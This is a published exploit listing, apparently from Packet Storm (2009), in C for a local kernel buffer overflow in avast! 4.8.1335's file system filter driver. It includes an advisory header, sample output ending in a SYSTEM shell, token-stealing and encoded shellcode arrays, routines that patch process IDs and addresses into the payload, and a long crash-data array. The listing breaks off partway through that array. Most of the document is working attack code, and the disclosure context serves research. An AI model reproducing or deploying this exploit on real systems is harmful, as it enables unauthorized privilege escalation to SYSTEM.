Avast! 4.8.1335 Professional Buffer Overflow
🗓️ 25 Aug 2009 00:00:00Reported by Stefan Le BerreType 
packetstorm🔗 packetstormsecurity.com👁 33 Views
`#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
/*
Program : avast! 4.8.1335 Professionnel
Homepage : http://www.avast.com
Discovery : 2009/07/29
Author Contacted : 2009/07/31
Found by : Heurs
This Advisory : Heurs
Contact : [email protected]
//----- Application description
avast! antivirus software represents complete virus protection,
offering full desktop security including a resident shield.
This antivirus is certified by both ICSA Labs and West Coast
Labs Checkmark.
//----- Description of vulnerability
The File System Filter driver is prone to a local kernel buffer overflow.
This vulnerability allows an intruder to gain SYSTEM privileges on a Windows
system from a limited user account.
//----- Proof Of Concept
http://www.sysdream.com/LocalEscalation_Avast.rar
//----- Credits
http://www.sysdream.com
http://ghostsinthestack.org
s.leberre at sysdream dot com
heurs at ghostsinthestack dot org
//----- Greetings
Virtualabs
//-----Exploitation
###############################################
Avast Kernel Buffer Overflow Vulnerability
Proof Of Concept...
===> Found : LocalEscalation_Avast.exe : 2676
Shellcode PID Uploaded !
Shellcode Redirect Uploaded !
Shellcode Stack Uploaded !
Connecting... Found !
Handle : 0000001C
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\eleve\Bureau>whoami
SYSTEM
###############################################
*/
char UpdateAswMon [] = {
0x5E, 0x81, 0xEE, 0x6B, 0x03, 0x00, 0x00, 0x81, 0xC6, 0x30, 0x9E, 0x00, 0x00, 0xC7, 0x06, 0x00,
0x00, 0x00, 0x00
};
char ShellcodeMaster[] = "\x33\xf6\x33\xff\x64\xa1\x24\x01\x00\x00\x8b\x40\x44\x05\x88\x00"
"\x00\x00\x8b\xd0\x8b\x58\xfc\x81\xfb\x41\x41\x41\x41\x75\x02\x8b"
"\xf0\x83\xfb\x04\x75\x02\x8b\xf8\x8b\xd6\x23\xd7\x85\xd2\x75\x08"
"\x8b\x00\x3b\xc2\x75\xde\xeb\x10\x8b\xc7\xb9\x40\x00\x00\x00\x03"
"\xc1\x8b\x00\x8b\xde\x89\x04\x19\xba\x11\x11\x11\x11\xb9\x22\x22"
"\x22\x22\xb8\x3b\x00\x00\x00\x8e\xe0\x0f\x35";
char RealShellcode[] = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x15"
"\xf3\x1d\xb8\x83\xeb\xfc\xe2\xf4\xe9\x1b\x59\xb8\x15\xf3\x96\xfd"
"\x29\x78\x61\xbd\x6d\xf2\xf2\x33\x5a\xeb\x96\xe7\x35\xf2\xf6\xf1"
"\x9e\xc7\x96\xb9\xfb\xc2\xdd\x21\xb9\x77\xdd\xcc\x12\x32\xd7\xb5"
"\x14\x31\xf6\x4c\x2e\xa7\x39\xbc\x60\x16\x96\xe7\x31\xf2\xf6\xde"
"\x9e\xff\x56\x33\x4a\xef\x1c\x53\x9e\xef\x96\xb9\xfe\x7a\x41\x9c"
"\x11\x30\x2c\x78\x71\x78\x5d\x88\x90\x33\x65\xb4\x9e\xb3\x11\x33"
"\x65\xef\xb0\x33\x7d\xfb\xf6\xb1\x9e\x73\xad\xb8\x15\xf3\x96\xd0"
"\x29\xac\x2c\x4e\x75\xa5\x94\x40\x96\x33\x66\xe8\x7d\x8d\xc5\x5a"
"\x66\x9b\x85\x46\x9f\xfd\x4a\x47\xf2\x90\x70\xdc\x3b\x96\x65\xdd"
"\x15\xf3\x1d\xb8";
int GetPidByName(char * name_Proc) {
PROCESSENTRY32 PEntry;
HANDLE hTool32;
PEntry.dwSize = sizeof(PROCESSENTRY32);
hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hTool32 == INVALID_HANDLE_VALUE) {
printf("\nError ==> CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)");
getch();
exit(0);
}
if(!Process32First(hTool32, &PEntry)) {
printf("\nError ==> Process32First(hTool32, &PEntry)");
getch();
exit(0);
}
if (!strcasecmp(PEntry.szExeFile, name_Proc)) {
printf("===> Found : %s : %d\n\n", PEntry.szExeFile, PEntry.th32ProcessID);
return PEntry.th32ProcessID;
}
//printf( "\n Process : PID\n");
while(Process32Next(hTool32, &PEntry) != 0){
if (strcasecmp(PEntry.szExeFile, name_Proc) == 0) {
CloseHandle(hTool32);
printf("===> Found : %s : %d\n\n", PEntry.szExeFile, PEntry.th32ProcessID);
return PEntry.th32ProcessID;
}
//printf("===> Trouver : %s : %d\n", PEntry.szExeFile, PEntry.th32ProcessID);
}
printf("\n%s n'a pas ete trouve.", name_Proc);
getch();
exit(0);
}
void MajShellcode(char * ProcessName){
DWORD ProcessID;
DWORD MagicWord = 0x41414141;
int i;
ProcessID = GetPidByName(ProcessName);
for (i=0; i<sizeof(ShellcodeMaster); i++) {
if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
ShellcodeMaster[i] = (DWORD) ProcessID & 0x000000FF;
ShellcodeMaster[i+1] = ((DWORD) ProcessID & 0x0000FF00) >> 8;
ShellcodeMaster[i+2] = ((DWORD) ProcessID & 0x00FF0000) >> 16;
ShellcodeMaster[i+3] = ((DWORD) ProcessID & 0xFF000000) >> 24;
printf("Shellcode PID Uploaded !\n");
return;
}
}
printf("Shellcode PID NOT Uploaded :\'(\n");
return;
}
void MajRealShellcode(){
int i;
DWORD MagicWord = 0x11111111;
for (i=0; i<sizeof(ShellcodeMaster); i++) {
if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
ShellcodeMaster[i] = (DWORD) &RealShellcode & 0x000000FF;
ShellcodeMaster[i+1] = ((DWORD) &RealShellcode & 0x0000FF00) >> 8;
ShellcodeMaster[i+2] = ((DWORD) &RealShellcode & 0x00FF0000) >> 16;
ShellcodeMaster[i+3] = ((DWORD) &RealShellcode & 0xFF000000) >> 24;
printf("Shellcode Redirect Uploaded !\n");
return;
}
}
printf("Shellcode Redirect NOT Uploaded :\'(\n");
return;
}
int FindStack(){
__asm__(
"mov %eax, %esp\n\t"
"leave\n\t"
"ret\n\t"
);
}
void MajRealStack(){
int i;
DWORD MagicWord = 0x22222222;
DWORD StackLocation = FindStack();
for (i=0; i<sizeof(ShellcodeMaster); i++) {
if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
ShellcodeMaster[i] = (DWORD) &StackLocation & 0x000000FF;
ShellcodeMaster[i+1] = ((DWORD) &StackLocation & 0x0000FF00) >> 8;
ShellcodeMaster[i+2] = ((DWORD) &StackLocation & 0x00FF0000) >> 16;
ShellcodeMaster[i+3] = ((DWORD) &StackLocation & 0xFF000000) >> 24;
printf("Shellcode Stack Uploaded !\n");
return;
}
}
printf("Shellcode NOT Uploaded :\'(\n");
return;
}
void AfficherListeFichiers(void) {
HANDLE hFind;
WIN32_FIND_DATAW FindData;
char Dossier[1024];
// Change de dossier
SetCurrentDirectory(Dossier);
// DÈbut de la recherche
hFind=FindFirstFileW(L"*.*", &FindData);
if (hFind!=INVALID_HANDLE_VALUE)
{
// Si le fichier trouvÈ n'est pas un dossier mais bien un fichier, on affiche son nom
printf("%ws\n",FindData.cFileName);
// Fichiers suivants
while (FindNextFileW(hFind, &FindData))
{
printf("%ws\n",FindData.cFileName);
}
}
// Fin de la recherche
FindClose(hFind);
}
int __cdecl main(int argc, char* argv[])
{
HANDLE hDevice = (HANDLE) 0xffffffff;
DWORD NombreByte;
DWORD InitVal=0;
char welcome[1024], out[50];
DWORD Crashing []={
0x73d1dde9, 0x24135758, 0xcd62b301, 0x35a96b72,
0x45c3745d, 0xcfae802b, 0xed77fbb8, 0xecc2f16d,
0xa6409255, 0x5b608056, 0x7b2e40db, 0xc250e10c,
0x284fc4b1, 0xbab9b00d, 0x2fce932c, 0x42d9380b,
0x72b21bd3, 0x4646eb4c, 0xdfcc6996, 0x4060e991,
0xce1fa555, 0xeda7ae0b, 0x4f918340, 0x90059feb,
0xf4cf7bb7, 0x8b0c9a64, 0x9b99f867, 0xd673970a,
0x591dbc4c, 0x2d54989b, 0xddb9c19d, 0x8121eaac,
0x199b21f5, 0xc30a1e03, 0x7c618cb1, 0xeb3e06f0,
0x7cebbd74, 0xaef8a969, 0x25cdcda9, 0xf47297c9,
0x58855260, 0x9b494eaa, 0x0c11e290, 0x4f1a6361,
0x75063159, 0xc791bf70, 0x3a1751db, 0xf439049a,
0x83abe375, 0xba84ad33, 0x3ca8acac, 0x17d3fd7e,
0x319c0280, 0xcd69a6c1, 0x3fdcdfe6, 0xc3903332,
0x1377c51c, 0x1cd14365, 0xa98d77f0, 0xd5746f3f,
0xb3cb7cb2, 0xddd2ecf4, 0x6cb9baa0, 0x4b0e045a,
0x98b7c236, 0x1203e0e5, 0x32449810, 0xaeb428f7,
0xa2e7e6e3, 0x3b0443af, 0x1145d62b, 0xaff5c263,
0xc496b3d7, 0x0b1c45d9, 0x8a463e85, 0x041251c8,
0x1341294d, 0xacc885c9, 0x03c3b5e7, 0x4cd36063,
0xbeec4324, 0x313554a7, 0x3b202113, 0xe836e635,
0x5d65c8bd, 0x8d52bae6, 0x24b3ba7f, 0x9b781fa7,
0x7efa8335, 0x73e87501, 0x316fcbe4, 0xfcc446bc,
0x3697162d, 0x5f706b56, 0x3d74846f, 0x57b41e55,
0x44b39b19, 0x40e6bf38, 0xa1d3527c, 0x20f6b70c,
0xa772ce22, 0x876cdf3b, 0xa948a3ad, 0x054c9fd6,
0x6ea65a25, 0x432a376f, 0x4217baa1, 0xd38f0661,
0x2c40d3d8, 0x33a62f9a, 0x5a8ef7d8, 0x4d07effa,
0x8ba68789, 0x1441d661, 0xf2f6d48f, 0x77e5d2ae,
0xcc69ac3e, 0x26cc9de9, 0xd7518e7e, 0xc568abea,
0x21089cf3, 0xdc3c48a5, 0x6110d1b2, 0x39f65dc9,
0xd0b8055d, 0xd8cab72c, 0x26be700a, 0x5f028b6c,
0x1af4a25d, 0xbae98a7c, 0x1d5e94ed, 0xb743fb4a,
0x274eaede, 0xe84bc6c6, 0xbcc3dd24, 0x47c6b5d5,
0x3f5a530f, 0x4bbd205e, 0xe5ed455d, 0xc23908e3,
0xa7255550, 0xfeee9e59, 0x8d91a28c, 0x27f1cd56,
0xbb7d2468, 0x2e53ae6f, 0x3d8ea58a, 0x9832f31e,
0x87aca912, 0xf5607f93, 0x67e4d74e, 0xcffd3adf,
0x38bda32a, 0x1ace8bf1, 0x16ad790d, 0xe7b78a4a,
0x6e4a4f52, 0xa963805f, 0xb44512ab, 0xaaff642a,
0x68723e9a, 0x9cb006f2, 0x73439f5a, 0xcca9abc0,
0x755ec72c, 0xb90d959c, 0x96f5fed2, 0x54821cac,
0x6d3b9e97, 0x254fa473, 0xe5806bdf, 0x1d3fe779,
0x5d824e9c, 0x0cba2490, 0x86dafdd4, 0xb84d19dd,
0x1cf0ecc5, 0x73a4c777, 0x6545b564, 0x12fc70dd,
0x58357dcd, 0x70524921, 0xa4bf0661, 0xd3630be2,
0xb4f95085, 0x2f8e9f3f, 0x8fb2c303, 0x5d534373,
0x330ed7be, 0x090a7fee, 0x70a0936f, 0x91bc5628,
0x2ad2a9fb, 0x437d15d2, 0xcb860a99, 0x8bbf5d22,
0x5188ce41, 0xf419337b, 0xfe338d2c, 0xf397167d,
0xb79f4c9a, 0x982b7bd0, 0xeda0e308, 0x19079984,
0x44506743, 0x08eb3bff, 0x0b2c7b5e, 0xfc12c449,
0x122c18c3, 0xcb18effc, 0x65070b56, 0x5bbc5f36,
0xba194a66, 0x1ac6b812, 0x4936b720, 0x3064f4d9,
0xea85383a, 0x5669ab43, 0xbfb9b2be, 0x2c961814,
0x2a16193f, 0x5310fc35, 0x2dcf5351, 0x8fb793bf,
0x0b4f51df, 0x7f9c69f8, 0x76bbd7bc, 0xc2cd8ee9,
0xdaded21e, 0xeeb83782, 0xa45e26a1, 0xa94133c2,
0xaec536ad, 0xa6026a8c, 0xbcb5a191, 0xd7babca3,
0xb2d31f46, 0x19511dc1, 0x21437e92, 0x0bfaa87e,
0x32685945, 0x55016b49, 0x994f9293, 0x599f9653,
0xc492d42b, 0xfa4d8907, 0x6c1e0416, 0x073e9847,
0x9ceee897, 0x479dec42, 0x60f26898, 0xa0b37906,
0x7f433088, 0xe617b52a, 0x30df4460, 0x9945c0da,
0x5f4f9196, 0x5b3095ad, 0x41e4f285, 0x225b324a,
0xe5f83ba7, 0xbadf8b56, 0xc732f28d, 0xaa94e0d7,
0x0f9da105, 0x80936817, 0xa3b40d2e, 0xa7d5791c,
0x10b0a9bb, 0x83b95622, 0x32872694, 0x7b1b3d10,
0xe0e1adf8, 0x32512498, 0x6bc6ff89, 0x0d11fef7,
0x3875c984, 0x5a31db0e, 0xdd1df94b, 0x61148636,
0x7372b587, 0x8856950e, 0x4f0af062, 0xb49ea480,
0x799ce35e, 0x23ecabd9, 0x137ee004, 0xdd17f948,
0xf2026141, 0x8afd0e45, 0x1188ac9a, 0x0f87f038,
0xee43edef, 0x982bf738, 0x78b3ca5f, 0x4d8345d3,
0x613e2505, 0x16ab7e08, 0xa7e68888, 0xa59d234c,
0x61655904, 0xbec0d39c, 0x3d0d18b0, 0x8eb7a653,
0x6bd2ad6f, 0x3fa66b0f, 0x5951c36f, 0x8e5c4bed,
0x087d3d72, 0x65fdb9b3, 0x7aa0c8a5, 0x26c78496,
0x3a8946f1, 0xb65f63b2, 0xeacb180d, 0xbda32816,
0x424f7b1e, 0x667fb713, 0xfe8d6f2c, 0x7f3711ca,
0x477ecf54, 0xbf36b283, 0x92a7518e, 0xfa378a84,
0x9ddc8f83, 0xc844b947, 0x3ef9ab12, 0xe892b5b4,
0x101854b2, 0x8f45e397, 0xa1b134ed, 0x5c2a4d5c,
0xa887258a, 0xbea01c90, 0xfb77c826, 0x08e87f98,
0x6c7b0709, 0x1f27fe7d, 0xe9d4d75f, 0xd3ecbaee,
0x961a35c6, 0x8317caf4, 0xc93141a0, 0x71c2fa12,
0x79afe953, 0x7024a929, 0x5187beec, 0x439aa4c4,
0x1b5bf729, 0x20de52a2, 0x5afd531b, 0xcbc6d1dc,
0x8a6c775d, 0x93823634, 0x31e3c106, 0x5c4756ec,
0xb322318f, 0x8a8fe323, 0x7d8a483f, 0x538d06a5,
0xd23e0864, 0x07739d15, 0x46845d65, 0xa90ed2a1,
0x907709ae, 0x25c51a18, 0x7b361c60, 0xf7f12530,
0xb5c8b862, 0x1e5579b7, 0x453fde63, 0x5854951c,
0xb479e4b4, 0x0187185f, 0xe310f406, 0xc5ae83f5,
0x385149c8, 0xe0538b56, 0x6ffa1c0f, 0x15a8c111,
0xb901feb0, 0x5cb53fcf, 0x7b9596dd, 0xbedc1ead,
0x6ea7517e, 0xf1c88cdb, 0x2cf213af, 0x67ebce96,
0x458465ce, 0x6503c018, 0xf7d61a9b, 0xbb31a712,
0xe0dc951b, 0x354a28a8, 0x51ecebf3, 0xdbf8e424,
0xd71a0cd2, 0x708d5b40, 0xdd1cf833, 0xb4be28a4,
0x41c589c0, 0x5d81889f, 0x97de9f7a, 0x43b18278,
0x4c312b46, 0x2ec1048d, 0x438d30d9, 0xab7923d6,
0xd36d6ed0, 0xb6165ede, 0x95369795, 0xd5b1b776,
0x60fe0b11, 0x087563ae, 0xa709eacf, 0xededbbea,
0xf134d8ea, 0x1e241ce6, 0x341248d6, 0x6c16117a,
0x7517ff23, 0x4dfb2eda, 0x7cc84423, 0x96cf942d,
0x32901498, 0xe3bc3a5d, 0x0b85bdb2, 0x7baf09ca,
0x6c7b4c01, 0xb3a72934, 0x4d33e464, 0x7dc1cf69,
0x166756c6, 0x08f5f62f, 0x3db6b309, 0xce886208,
0x1daf5a03, 0xc724741a, 0xf052f4ed, 0x4297acad,
0xdc6a5dfe, 0xd0c4a895, 0x97db4437, 0x6e227c97,
0x05f4dab0, 0x13b4adf4, 0x0d8b71e6, 0x9ff6843d,
0x0fdb8939, 0x58850dfd, 0x2b21f28e, 0x2603e115,
0xb09ba646, 0xd6fe719b, 0xe87a9223, 0x18f3b642,
0x4fb62852, 0xeda5dd40, 0x6e5dbbf4, 0x703a2f1f,
0x4884a549, 0xb6b85046, 0xdbbb7868, 0xa38e09a3,
0x66c6fa13, 0xea16a377, 0x1ced6fd3, 0x44a3e920,
0xfe995619, 0x822d3af3, 0xe8399736, 0xa6ff023c,
0x19b88da8, 0x9b26e290, 0xc6970f3e, 0x4607d070,
0x7db5bfd9, 0xbdcc2cd7, 0x946faaf6, 0xfcd89b65,
0x17712dee, 0x953a0c3f, 0xf1383334, 0xc32e8a92,
0xeb678cf4, 0xb5265c91, 0x10ec1b31, 0x6d134dc1,
0x8ae8143e, 0x26ff3968, 0xf579d43c, 0x8f9d85f3,
0x02fad6bf, 0x3a7be637, 0xeff5542c, 0x71cd227a,
0x4345de8e, 0x5c9202c7, 0x388f640c, 0x0de7d2cd,
0xe9b74263, 0xe443d4ef, 0x9cabf0e1, 0x810b8762,
0x23c14d38, 0x296bd907, 0xdfc31794, 0x026b9455,
0x7632bccd, 0x8dcf7332, 0x23dcc4c2, 0x32885977,
0x548fdcc5, 0x9fca128a, 0x294fbc82, 0xf7bcd7db,
0x9cdcc0a9, 0xe26aec68, 0x04c39cf4, 0x0a8d0d2b,
0xf72bdf30, 0xff04366a, 0x07e7b40a, 0x9b3b9d18,
0x859b4b85, 0x53a44769, 0x0b1366e3, 0x39f4c10b,
0xb1ccbe45, 0x9d31874e, 0xa8e0a3a6, 0x98d4a7d0,
0xc24240f5, 0x421301e0, 0x09137099, 0x48d2a2dd,
0x3f0fdb4a, 0xe1a9eb43, 0x84199aff, 0x4eff2f35,
0xd52f92fd, 0xe99cb709, 0xcb8fc9ce, 0x4cd97110,
0x035f2194, 0x87e8e12d, 0xecd7a018, 0xff80434f,
0x5ad4430c, 0x51015613, 0x153a3cf8, 0x8bbb9e84,
0x31bc1b01, 0x986e7b5e, 0x4708de0c, 0xe51a3ef6,
0xd279b566, 0x4054b421, 0xd794d868, 0x5e174bd2,
0xc9480f43, 0x61e1ac80, 0x65c89d78, 0xcc461265,
0x6f8099a7, 0x76596a5c, 0xe134710e, 0x6ec09d49,
0x095b4232, 0x251f6d2c, 0xb61f7712, 0x6031640c,
0x081bb50e, 0xabfcf1aa, 0x303d79f3, 0x4e3caaa9,
0xf87540ed, 0xf067072c, 0xe1e7f3a1, 0x82dd570b,
0x2110f555, 0x988cc833, 0x985002b4, 0xedd3b5c3,
0xf952a2cd, 0x06159e37, 0x1ac3e607, 0xda6888dc,
0x534a76c9, 0x2a7a4148, 0xb5433071, 0x392f077a,
0x4f91ca6e, 0x0c7736e0, 0x780dd6ed, 0x626f3aa9,
0x26db5cac, 0xd12bc3e6, 0x70d14be1, 0x0bc60171,
0x97203228, 0x66463a8d, 0x0ac460d4, 0xdf1906b3,
0x0d19058b, 0xaa96fa9a, 0x8b220888, 0xfad29e31,
0x90049f60, 0xb44780ab, 0xe52554ea, 0xe97a3e9e,
0x2142a187, 0x6ba5f497, 0xf43334a9, 0xf9fb1c87,
0x3d1f1949, 0x064149d5, 0x2e39a1e9, 0x35669c1b,
0x0345c538, 0x623002d5, 0xa280da3a, 0xd32bc66c,
0x047c437f, 0x2b60c09c, 0x154931e8, 0x2b316b42,
0xa97028bb, 0x1b26881f, 0x0d93499d, 0xa681e3d0,
0x64aed3a1, 0xb904296b, 0x6e8ef9c5, 0xc029dbe4,
0x4c1968ca, 0xacceed0c, 0x0f137d05, 0x71b80cdb,
0xd0e3a334, 0xab958932, 0x336c6a26, 0x42626069,
0x2a2d154b, 0x14347b3a, 0xac80cd31, 0x9e9708d5,
0x1641542a, 0x25d2dd4e, 0x5c434b1d, 0x070569b9,
0xf0f63b05, 0x2e8328a8, 0xd263cf7b, 0xea1a2370,
0xcbc81d0b, 0xf2a0075b, 0x141c700e, 0x10628529,
0x6cec92e5, 0x4aa5f3d6, 0x6c3d960f, 0x942d9d60,
0x896d6d23, 0xa29ef00b, 0x0502a28d, 0x712f7787,
0x5235ed70, 0x8945f3eb, 0x4f1ecbdd, 0xb5f457b9,
0xe7327495, 0xbdc47980, 0x85bf54c1, 0xe054753d,
0x42e6c82b, 0xb54389bb, 0xef5debf3, 0xcf310c8e,
0x2a433c26, 0xf209dc9d, 0x8a869d03, 0x45961943,
0x28f51bb9, 0x643e865c, 0xb410b2d1, 0xaf30a98c,
0xa004bb79, 0x956b7c41, 0x13e3a21d, 0xca5f4efd,
0xf13e81c1, 0x4fb74a1e, 0x2a033efb, 0x91ed2e36,
0xb9bf8c57, 0xc1b65238, 0x2b3b3e0f, 0xbc02c76b,
0xc56d0a7d, 0xb33685c2, 0x6619d068, 0x13ceb219,
0x21e2d381, 0xbc04a013, 0xafc763ef, 0xc6c9651d,
0x9139fb86, 0xdd6fe175, 0x5334d9d7, 0x4b39bc0e,
0x42035a82, 0x91cba15e, 0xcf931d84, 0x739e2767,
0x5a1c76fd, 0xd65cb444, 0x02c608e9, 0xc13aa613,
0x5f9895ec, 0x05928739, 0xd960be14, 0xbc65f387,
0xb40abdb8, 0x3833c113, 0x1fa8b468, 0x8e907e66,
0xbca30fa5, 0xef539907, 0x3f130c64, 0xaf133b06,
0x06d0d5c8, 0xe3e4f1df, 0x185f733d, 0x7ecf9d1e,
0xdfea3362, 0x33bedbe3, 0xe9a15aed, 0x4aa68eeb,
0x01e0aaf1, 0xb5ccf205, 0x9426c4cc, 0x3f80b9b4,
0x017b584a, 0x7ac85b06, 0x4ca27f77, 0x7d8548a2,
0x19025a74, 0x1d4d204c, 0x0cccb981, 0xf86a72e6,
0x2a5ef939, 0x778bfe20, 0xf536a9e7, 0x82482d36,
0x20a8484b, 0x8c08dd85, 0xc82a0739, 0xed52e038,
0x4e6f5973, 0xd799c606, 0x87dd5c7f, 0x69db7ac2,
0x56771978, 0xf682c73f, 0x40e5511c, 0xf373bc10,
0xdecc0fa4, 0xf070df4e, 0x81b33f54, 0xf1d53816,
0x2c2173e5, 0xae5a23d2, 0x0b9013fd, 0x9005857b,
0x495aa603, 0x7d7b69b9, 0x80603698, 0xeedd2b37,
0xaf7f72ea, 0xbe303f21, 0x0ea977f9, 0x0fa0708b,
0xb5792aa6, 0x87fd2a7e, 0x2bda1cd6, 0x5df64225,
0x216accb9, 0xc1808941, 0x582679b3, 0x46fbd44d,
0xe2f76929, 0x548f6e51, 0x4ac3f5d8, 0xe52e62af,
0x484110c2, 0x492fab5a, 0x2c7accea, 0x7488ca20,
0xe36a2f99, 0xba1e3785, 0xefa467bc, 0xd4665fc8,
0x2f5390e2, 0xfe450203, 0xbb624253, 0x551740a0,
0x7d50b6c9, 0xe9d20aa0, 0x55e69c01, 0x6ab186ee,
0x1c187ff3, 0x6ce6dff2, 0x120a6ce0, 0xf6c45fd2,
0x5832b533, 0xb02e3027, 0x170d3041, 0x6f153144,
0xad980d7f, 0x49f5d3ab, 0xcedca059, 0x3db83dc5,
0x39c589c0, 0x986e3537, 0xc4d04f1d, 0xd71ee166,
0x04620370, 0x35beb3cf, 0x39249667, 0x79915fe2,
0xbe40d4da, 0xd0cab338, 0xdcb53b5a, 0xae884be7,
0x6250a5df, 0x0949574e, 0x5d5321b8, 0x86d01394,
0xd517473b, 0xe5f90827, 0x7a8ef843, 0x19869984,
0x02e8d858, 0x71954f6f, 0x6a9e300b, 0xa8a50e6b,
0xb935e9e2, 0x69f3e080, 0x3e51ad9b, 0xf485aa30,
0x4195eb53, 0x2574950c, 0x87c2c9f1, 0x955cecec,
0x2a89e224, 0x67aed18a, 0x8d473f2a, 0xa089d921,
0x50197424, 0xa94cacbd, 0xe8cddf16, 0x806b7f0d,
0xa27648b9, 0x99c702ad, 0x37db9034, 0xe7295b46,
0xa4bf4bac, 0x43d214a3, 0x8d9bc127, 0x2f72faa5,
0xf9143ef4, 0xf30bd7bf, 0x86b2517d, 0xb7a833d6,
0x037c9b1f, 0x9459bc14, 0x0c78aa23, 0xe41cc7dc,
0x4eda2ed2, 0x8c0a8f08, 0x85a8aff4, 0xae28e3ea,
0x217269d6, 0x6d221bf7, 0x6f646c75, 0x8c04d0eb,
0x7d389030, 0x1968785b, 0xe748befe, 0x7fb277a8,
0xf340540e, 0xf5a6340f, 0x47113529, 0x0c2eab43,
0xd20d8b05, 0x5306c40e, 0x9c0c1ad3, 0x52a384db,
0x26ad4373, 0x30872280, 0xc5ef9754, 0x098568fa,
0xcbc632de, 0x9efa321a, 0x8466cae3, 0x156fa462,
0x96716caa, 0x3e7cd39b, 0x27506529, 0x34cac20d,
0x05958b0a, 0xe3b1708f, 0x258ff2e9, 0x913cc9cb,
0xa5899577, 0xb9885e7b, 0xa559f53e, 0x48d99696,
0xf2d0826d, 0x0be5f805, 0x385bb433, 0x174121eb,
0x58bfd2bd, 0x4f4bc6ff, 0xc8fb45a6, 0xfac1da99,
0xcbb0841f, 0xd33a2a83, 0xdb808b49, 0x110544d1,
0x3656b868, 0x9527fb34, 0x75d35656, 0xf683f9cc,
0xe756e3f6, 0x8cf742c1, 0x60c64989, 0x2af6cecc,
0x0c70ddbb, 0x761077ee, 0xa5b3e47e, 0x52939e81,
0xa476a7db, 0x02afdf28, 0x181e76a1, 0x094c8ae4,
0x2035542d, 0xc47a48ab, 0x5f344e89, 0x6c0eaf8d,
0xed89747c, 0x718af660, 0xed1386e1, 0xfe37f3d2,
0x06817e6b, 0x600c9381, 0xbab81e8f, 0xe7a49506,
0xb5070118, 0x2cf72a58, 0xde08c7f4, 0x109eead3,
0x38ca65ba, 0xab924774, 0x26e006f2, 0x52fc4fc1,
0x2c4453a1, 0x700a621d, 0x014dc1dc, 0x3aef70de,
0x7c87331d, 0x89433add, 0xcbf6a8fc, 0x114f4794,
0xea4e637f, 0x723c4b76, 0x47cc4f6a, 0x87445530,
0xe83ceb38, 0x4d3e048e, 0x79081724, 0x4bf787fb,
0x68943c66, 0x40e3d968, 0x6b103a30, 0xaadd17d4,
0xb3f839e8, 0xac84edf7, 0x931d53b1, 0x0c4d2a0e,
0x2f6ce387, 0xfed92391, 0x69ee2a6e, 0x48d7bb98,
0x0ba1cb35, 0x63e12f67, 0x1ce3cb82, 0x099b3a46,
0x5839b9a4, 0x7f7f4993, 0x59e4ecea, 0xeea5cccd,
0x447dbf7f, 0xcd8626e1, 0x8d36d4b0, 0xac9e19ec,
0x797ab5d7, 0x8434b658, 0xbcec7ef7, 0x682c6d93,
0x762d7c86, 0xf38c8099, 0xafdec42c, 0xc43d09a6,
0xe49d1217, 0x5e747fe1, 0x24788bb3, 0xaefc2937,
0x1932f03c, 0x683917c0, 0x66aeed2b, 0x9b18cdd7,
0x33f680a8, 0x26951569, 0xbaee16a8, 0x9e6c211f,
0x2588853b, 0x9f46290f, 0x246ae851, 0x18e204f6,
0x4904ec8f, 0xd90aa3f4, 0xb32d3c27, 0x4c5dc284,
0xbe4add7f, 0x43d09da9, 0x89c17c35, 0x073879e7,
0xa563a12e, 0x8a89202c, 0xf15e9e1f, 0x351c54d9,
0xa0c4fa14, 0x5709de8d, 0x39186894, 0x6d04f1d9,
0xf11330f7, 0x81d6fb36, 0xa9ed69cb, 0xc6d525a7,
0x7a95ed1d, 0x0e3cc7ca, 0xf22396d8, 0x454bc69f,
0x220c180f, 0x413b363d, 0x3034f3b4, 0xd29d8cf2,
0x54f88e88, 0x48701702, 0xd3bc5e71, 0x7d13dd70,
0x3c60d934, 0x2f11eff3, 0xc0bfff93, 0xfa8a47f7,
0x1ae1ec5d, 0xc5ebdc87, 0xe0f9d5ac, 0xf205ec31,
0x45bf5abb, 0x364757d1, 0xe17d0824, 0x7285cdad,
0x340f876f, 0xafd04fb5, 0x232b2753, 0x9ed7abb0,
0xf6fa5267, 0xd0344840, 0x7e1908c7, 0xa7fa0e2a,
0xa14a1f1c, 0x207f4d88, 0x3a8e8949, 0x0933e39b,
0x49308b91, 0x744b2e05, 0x8dd691b5, 0x576003b6,
0x74bf728b, 0x8ec344ea, 0x5c1a8d38, 0xba05b772,
0xd025c49e, 0xbe9bde06, 0x791d3fde, 0xaac66591,
0x4fd06cb7, 0x1eb57393, 0x3a132e66, 0x531bed33,
0xc1161373, 0x584522c2, 0x96427532, 0x9b324e67,
0x67fd675e, 0x1ca506c6, 0xfec4ce3f, 0xdfbd6229,
0x1570062a, 0xaf2e42ce, 0x442de8ae, 0xe9da28c2,
0xd8661dd6, 0xb1fbabfd, 0x5e3b5bd4, 0x5975312a,
0x727c7734, 0x6edaf6d6, 0xc1c54cf1, 0x0a906333,
0x81c044d6, 0x38ea12fe, 0x0c1bf270, 0x57818362,
0x0908d11c, 0x0e5a84ec, 0xadc85814, 0x54e8aa92,
0xd07c83f7, 0xcc71c686, 0x640e2cbb, 0x03c636a6,
0x47737c01, 0x9ad77ee7, 0xd179e1a9, 0x8340bb15,
0x489ed205, 0x40b54fa8, 0x7afb505e, 0xc04f8e16,
0xb92981c6, 0x604af99f, 0x43c0fd25, 0x1d2b625f,
0x13f4dcd7, 0xcf47b89b, 0x108d824a, 0x21236797,
0x4cac84a5, 0xb33821ce, 0x542a9975, 0xf66135c2,
0x30b9634a, 0x9bde472a, 0x50e29c43, 0x1224e64d,
0x140aa049, 0x48c6d7eb, 0xf171704c, 0x80987f37,
0x88da2c1d, 0xf337fbfe, 0xd52f414a, 0x76581549,
0x75d22530, 0x293f3f41, 0x20b6cf21, 0xccd9f240,
0x46ddeacd, 0x4e16d64e, 0x0e64fe89, 0x445de8d3,
0x4d7983a6, 0x9f44fe8c, 0xf4e56281, 0xa7aad55b,
0x07270a01, 0x77501d16, 0xf848ee54, 0x34f4ba27,
0x244da047, 0x0ca62989, 0xbb5e2e05, 0x9612ca12,
